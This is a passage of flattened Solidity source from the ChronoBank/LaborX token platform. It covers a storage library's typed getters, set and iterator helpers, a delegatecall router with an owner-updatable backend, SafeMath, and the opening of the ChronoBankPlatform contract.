bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bytes32) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.Bool storage item, bytes32 _key, bytes32 _key2, bytes32 _key3) internal view returns (bool) { return get(self, item, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.UIntBoolMapping storage item, uint _key) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntEnumMapping storage item, uint _key) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntMapping storage item, uint _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressMapping storage item, uint _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntMapping storage item, bytes32 _key) internal view returns (uint) { return uint(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32AddressMapping storage item, bytes32 _key) internal view returns (address) { return address(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UInt8Mapping storage item, bytes32 _key) internal view returns (uint8) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32BoolMapping storage item, bytes32 _key) internal view returns (bool) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32Bytes32Mapping storage item, bytes32 _key) internal view returns (bytes32) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntBoolMapping storage item, bytes32 _key, uint _key2) internal view returns (bool) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntBytes32Mapping storage item, uint _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntMapping storage item, address _key) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBoolMapping storage item, address _key) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressMapping storage item, address _key) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes32Mapping storage item, address _key) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntBytes32Mapping storage item, uint _key, uint _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntAddressMapping storage item, uint _key, uint _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntMapping storage item, uint _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntMapping storage item, bytes32 _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32UIntUIntUIntMapping storage item, bytes32 _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, bytes32(_key2), bytes32(_key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressUIntMapping storage item, address _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressAddressUInt8Mapping storage item, address _key, address _key2) internal view returns (uint8) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntMapping storage item, address _key, uint _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUInt8Mapping storage item, address _key, uint _key2) internal view returns (uint) { return uint8(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes32Bytes32Mapping storage item, address _key, bytes32 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), _key2); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes4BoolMapping storage item, address _key, bytes4 _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressBytes4Bytes32Mapping storage item, address _key, bytes4 _key2) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2)); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressUIntMapping storage item, uint _key, address _key2) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressBoolMapping storage item, uint _key, address _key2) internal view returns (bool) { return toBool(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressMapping storage item, uint _key, address _key2) internal view returns (address) { return address(get(self, item.innerMapping, bytes32(_key), bytes32(_key2))); } function get(StorageInterface.Config storage self, StorageInterface.UIntAddressAddressBoolMapping storage item, uint _key, address _key2, address _key3) internal view returns (bool) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(StorageInterface.Config storage self, StorageInterface.UIntUIntUIntBytes32Mapping storage item, uint _key, uint _key2, uint _key3) internal view returns (bytes32) { return get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3)); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntMapping storage item, address _key, uint _key2, uint _key3) internal view returns (uint) { return uint(get(self, item.innerMapping, bytes32(_key), bytes32(_key2), bytes32(_key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntStructAddressUInt8Mapping storage item, address _key, uint _key2) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntUIntStructAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, uint _key5) internal view returns (address, uint8) { return get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntAddressUInt8Mapping storage item, address _key, uint _key2, address _key3) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3)))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, address _key4) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4)))); } function get(StorageInterface.Config storage self, StorageInterface.AddressUIntUIntUIntAddressUInt8Mapping storage item, address _key, uint _key2, uint _key3, uint _key4, address _key5) internal view returns (uint8) { return uint8(get(self, item.innerMapping, keccak256(abi.encodePacked(_key, _key2, _key3, _key4, _key5)))); } /** `includes` operation */ function includes(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, SET_IDENTIFIER, _value); } function includes(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) internal view returns (bool) { return get(self, item.indexes, _salt, _value) != 0; } function includes(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bool) { return includes(self, item, ORDERED_SET_IDENTIFIER, _value); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bool) { return _value != 0x0 && (get(self, item.nextValues, _salt, _value) != 0x0 || get(self, item.last, _salt) == _value); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (bool) { return includes(self, item.innerSet, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, _value); } function includes(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key, uint _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function includes(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key, address _value) internal view returns (bool) { return includes(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _value) internal view returns (uint) { return getIndex(self, item, SET_IDENTIFIER, _value); } function getIndex(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, bytes32 _value) private view returns (uint) { return uint(get(self, item.indexes, _salt, _value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, address _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _value) internal view returns (uint) { return getIndex(self, item.innerSet, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, bytes32 _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, _value); } function getIndex(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, address _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } function getIndex(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _value) internal view returns (uint) { return getIndex(self, item.innerMapping, _key, bytes32(_value)); } /** `count` operation */ function count(StorageInterface.Config storage self, StorageInterface.Set storage item) internal view returns (uint) { return count(self, item, SET_IDENTIFIER); } function count(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt) internal view returns (uint) { return get(self, item.count, _salt); } function count(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item) internal view returns (uint) { return count(self, item, ORDERED_SET_IDENTIFIER); } function count(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt) private view returns (uint) { return get(self, item.count, _salt); } function count(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item) internal view returns (uint) { return count(self, item.innerSet); } function count(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function count(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (uint) { return count(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item) internal view returns (bytes32[] result) { result = get(self, item, SET_IDENTIFIER); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt) private view returns (bytes32[] result) { uint valuesCount = count(self, item, _salt); result = new bytes32[](valuesCount); for (uint i = 0; i < valuesCount; i++) { result[i] = get(self, item, _salt, i); } } function get(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item) internal view returns (address[]) { return toAddresses(get(self, item.innerSet)); } function get(StorageInterface.Config storage self, StorageInterface.CounterSet storage item) internal view returns (uint[]) { return toUInt(get(self, item.innerSet)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key) internal view returns (bytes32[]) { return get(self, item.innerMapping, _key); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key) internal view returns (address[]) { return toAddresses(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key) internal view returns (uint[]) { return toUInt(get(self, item.innerMapping, _key)); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, uint _index) internal view returns (bytes32) { return get(self, item, SET_IDENTIFIER, _index); } function get(StorageInterface.Config storage self, StorageInterface.Set storage item, bytes32 _salt, uint _index) private view returns (bytes32) { return get(self, item.values, _salt, bytes32(_index+1)); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSet storage item, uint _index) internal view returns (address) { return address(get(self, item.innerSet, _index)); } function get(StorageInterface.Config storage self, StorageInterface.CounterSet storage item, uint _index) internal view returns (uint) { return uint(get(self, item.innerSet, _index)); } function get(StorageInterface.Config storage self, StorageInterface.Bytes32SetMapping storage item, bytes32 _key, uint _index) internal view returns (bytes32) { return get(self, item.innerMapping, _key, _index); } function get(StorageInterface.Config storage self, StorageInterface.AddressesSetMapping storage item, bytes32 _key, uint _index) internal view returns (address) { return address(get(self, item.innerMapping, _key, _index)); } function get(StorageInterface.Config storage self, StorageInterface.UIntSetMapping storage item, bytes32 _key, uint _index) internal view returns (uint) { return uint(get(self, item.innerMapping, _key, _index)); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getNextValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.nextValues, _salt, _value); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getNextValue(self, item.innerSet, bytes32(_value))); } function getNextValue(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getNextValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _value) internal view returns (bytes32) { return getPreviousValue(self, item, ORDERED_SET_IDENTIFIER, _value); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 _salt, bytes32 _value) private view returns (bytes32) { return get(self, item.previousValues, _salt, _value); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint _value) internal view returns (uint) { return uint(getPreviousValue(self, item.innerSet, bytes32(_value))); } function getPreviousValue(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, address _value) internal view returns (address) { return address(getPreviousValue(self, item.innerSet, bytes32(_value))); } function toBool(bytes32 self) internal pure returns (bool) { return self != bytes32(0); } function toBytes32(bool self) internal pure returns (bytes32) { return bytes32(self ? 1 : 0); } function toAddresses(bytes32[] memory self) internal pure returns (address[]) { address[] memory result = new address[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = address(self[i]); } return result; } function toUInt(bytes32[] memory self) internal pure returns (uint[]) { uint[] memory result = new uint[](self.length); for (uint i = 0; i < self.length; i++) { result[i] = uint(self[i]); } return result; } function _setOrderedSetLink(StorageInterface.Config storage self, StorageInterface.Mapping storage link, bytes32 _salt, bytes32 from, bytes32 to) private { if (from != 0x0) { set(self, link, _salt, from, to); } } function _deleteOrderedSetLink(StorageInterface.Config storage self, StorageInterface.Mapping storage link, bytes32 _salt, bytes32 from) private { if (from != 0x0) { set(self, link, _salt, from, 0x0); } } /* ITERABLE */ function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey, bytes32 startValue, uint limit) internal view returns (StorageInterface.Iterator) { if (startValue == 0x0) { return listIterator(self, item, anchorKey, limit); } return createIterator(anchorKey, startValue, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey, uint startValue, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, bytes32 anchorKey, address startValue, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, bytes32(startValue), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey, uint limit) internal view returns (StorageInterface.Iterator) { return createIterator(anchorKey, get(self, item.first, anchorKey), limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, uint limit) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, uint limit, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey, limit); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, ORDERED_SET_IDENTIFIER); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item, anchorKey, get(self, item.count, anchorKey)); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet); } function listIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, bytes32 anchorKey) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerSet, anchorKey); } function listIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function listIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, bytes32 _key) internal view returns (StorageInterface.Iterator) { return listIterator(self, item.innerMapping, _key); } function createIterator(bytes32 anchorKey, bytes32 startValue, uint limit) internal pure returns (StorageInterface.Iterator) { return StorageInterface.Iterator({ currentValue: startValue, limit: limit, valuesLeft: limit, anchorKey: anchorKey }); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, StorageInterface.Iterator iterator) internal view returns (bytes32 _nextValue) { if (!canGetNextWithIterator(self, item, iterator)) { revert(); } _nextValue = iterator.currentValue; iterator.currentValue = getNextValue(self, item, iterator.anchorKey, iterator.currentValue); iterator.valuesLeft -= 1; } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, StorageInterface.Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, StorageInterface.Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerSet, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bytes32 _nextValue) { return getNextWithIterator(self, item.innerMapping, iterator); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (uint _nextValue) { return uint(getNextWithIterator(self, item.innerMapping, iterator)); } function getNextWithIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (address _nextValue) { return address(getNextWithIterator(self, item.innerMapping, iterator)); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { if (iterator.valuesLeft == 0 || !includes(self, item, iterator.anchorKey, iterator.currentValue)) { return false; } return true; } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedUIntSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.OrderedAddressesSet storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerSet, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.Bytes32OrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.UIntOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function canGetNextWithIterator(StorageInterface.Config storage self, StorageInterface.AddressOrderedSetMapping storage item, StorageInterface.Iterator iterator) internal view returns (bool) { return canGetNextWithIterator(self, item.innerMapping, iterator); } function count(StorageInterface.Iterator iterator) internal pure returns (uint) { return iterator.valuesLeft; } } // File: @laborx/solidity-shared-lib/contracts/BaseByzantiumRouter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.11; /// @title Routing contract that is able to provide a way for delegating invocations with dynamic destination address. contract BaseByzantiumRouter { function() external payable { address _implementation = implementation(); assembly { let calldataMemoryOffset := mload(0x40) mstore(0x40, add(calldataMemoryOffset, calldatasize)) calldatacopy(calldataMemoryOffset, 0x0, calldatasize) let r := delegatecall(sub(gas, 10000), _implementation, calldataMemoryOffset, calldatasize, 0, 0) let returndataMemoryOffset := mload(0x40) mstore(0x40, add(returndataMemoryOffset, returndatasize)) returndatacopy(returndataMemoryOffset, 0x0, returndatasize) switch r case 1 { return(returndataMemoryOffset, returndatasize) } default { revert(0, 0) } } } /// @notice Returns destination address for future calls /// @dev abstract definition. should be implemented in sibling contracts /// @return destination address function implementation() internal view returns (address); } // File: @laborx/solidity-storage-lib/contracts/StorageAdapter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.23; contract StorageAdapter { using StorageInterface for *; StorageInterface.Config internal store; constructor(Storage _store, bytes32 _crate) public { store.init(_store, _crate); } } // File: contracts/ChronoBankPlatformBackendProvider.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankPlatformBackendProvider is Owned { ChronoBankPlatformInterface public platformBackend; constructor(ChronoBankPlatformInterface _platformBackend) public { updatePlatformBackend(_platformBackend); } function updatePlatformBackend(ChronoBankPlatformInterface _updatedPlatformBackend) public onlyContractOwner returns (bool) { require(address(_updatedPlatformBackend) != 0x0, "PLATFORM_BACKEND_PROVIDER_INVALID_PLATFORM_ADDRESS"); platformBackend = _updatedPlatformBackend; return true; } } // File: contracts/ChronoBankPlatformRouter.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.24; contract ChronoBankPlatformRouterCore { address internal platformBackendProvider; } contract ChronoBankPlatformCore { bytes32 constant CHRONOBANK_PLATFORM_CRATE = "ChronoBankPlatform"; /// @dev Asset's owner id StorageInterface.Bytes32UIntMapping internal assetOwnerIdStorage; /// @dev Asset's total supply StorageInterface.Bytes32UIntMapping internal assetTotalSupply; /// @dev Asset's name, for information purposes. StorageInterface.StringMapping internal assetName; /// @dev Asset's description, for information purposes. StorageInterface.StringMapping internal assetDescription; /// @dev Indicates if asset have dynamic or fixed supply StorageInterface.Bytes32BoolMapping internal assetIsReissuable; /// @dev Proposed number of decimals StorageInterface.Bytes32UInt8Mapping internal assetBaseUnit; /// @dev Holders wallets partowners StorageInterface.Bytes32UIntBoolMapping internal assetPartowners; /// @dev Holders wallets balance StorageInterface.Bytes32UIntUIntMapping internal assetWalletBalance; /// @dev Holders wallets allowance StorageInterface.Bytes32UIntUIntUIntMapping internal assetWalletAllowance; /// @dev Block number from which asset can be used StorageInterface.Bytes32UIntMapping internal assetBlockNumber; /// @dev Iterable mapping pattern is used for holders. StorageInterface.UInt internal holdersCountStorage; /// @dev Current address of the holder. StorageInterface.UIntAddressMapping internal holdersAddressStorage; /// @dev Addresses that are trusted with recovery proocedure. StorageInterface.UIntAddressBoolMapping internal holdersTrustStorage; /// @dev This is an access address mapping. Many addresses may have access to a single holder. StorageInterface.AddressUIntMapping internal holderIndexStorage; /// @dev List of symbols that exist in a platform StorageInterface.Set internal symbolsStorage; /// @dev Asset symbol to asset proxy mapping. StorageInterface.Bytes32AddressMapping internal proxiesStorage; /// @dev Co-owners of a platform. Has less access rights than a root contract owner StorageInterface.AddressBoolMapping internal partownersStorage; } contract ChronoBankPlatformRouter is BaseByzantiumRouter, ChronoBankPlatformRouterCore, ChronoBankPlatformEmitter, StorageAdapter { /// @dev memory layout from Owned contract address public contractOwner; bytes32 constant CHRONOBANK_PLATFORM_CRATE = "ChronoBankPlatform"; constructor(address _platformBackendProvider) StorageAdapter(Storage(address(this)), CHRONOBANK_PLATFORM_CRATE) public { require(_platformBackendProvider != 0x0, "PLATFORM_ROUTER_INVALID_BACKEND_ADDRESS"); contractOwner = msg.sender; platformBackendProvider = _platformBackendProvider; } function implementation() internal view returns (address) { return ChronoBankPlatformBackendProvider(platformBackendProvider).platformBackend(); } } // File: contracts/lib/SafeMath.sol /// @title SafeMath /// @dev Math operations with safety checks that throw on error library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a * b; require(a == 0 || c / a == b, "SAFE_MATH_INVALID_MUL"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { require(b <= a, "SAFE_MATH_INVALID_SUB"); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SAFE_MATH_INVALID_ADD"); return c; } } // File: contracts/ChronoBankPlatform.sol /** * Copyright 2017–2018, LaborX PTY * Licensed under the AGPL Version 3 license. */ pragma solidity ^0.4.21; contract ProxyEventsEmitter { function emitTransfer(address _from, address _to, uint _value) public; function emitApprove(address _from, address _spender, uint _value) public; } /// @title ChronoBank Platform. /// /// The official ChronoBank assets platform powering TIME and LHT tokens, and possibly /// other unknown tokens needed later. /// Platform uses MultiEventsHistory contract to keep events, so that in case it needs to be redeployed /// at some point, all the events keep appearing at the same place. /// /// Every asset is meant to be used through a proxy contract. Only one proxy contract have access /// rights for a particular asset. /// /// Features: transfers, allowances, supply adjustments, lost wallet access recovery. /// /// Note: all the non constant functions return false instead of throwing in case if state change /// didn't happen yet. contract ChronoBankPlatform is ChronoBankPlatformRouterCore, ChronoBankPlatformEmitter, StorageInterfaceContract, ChronoBankPlatformCore { uint constant OK = 1; using 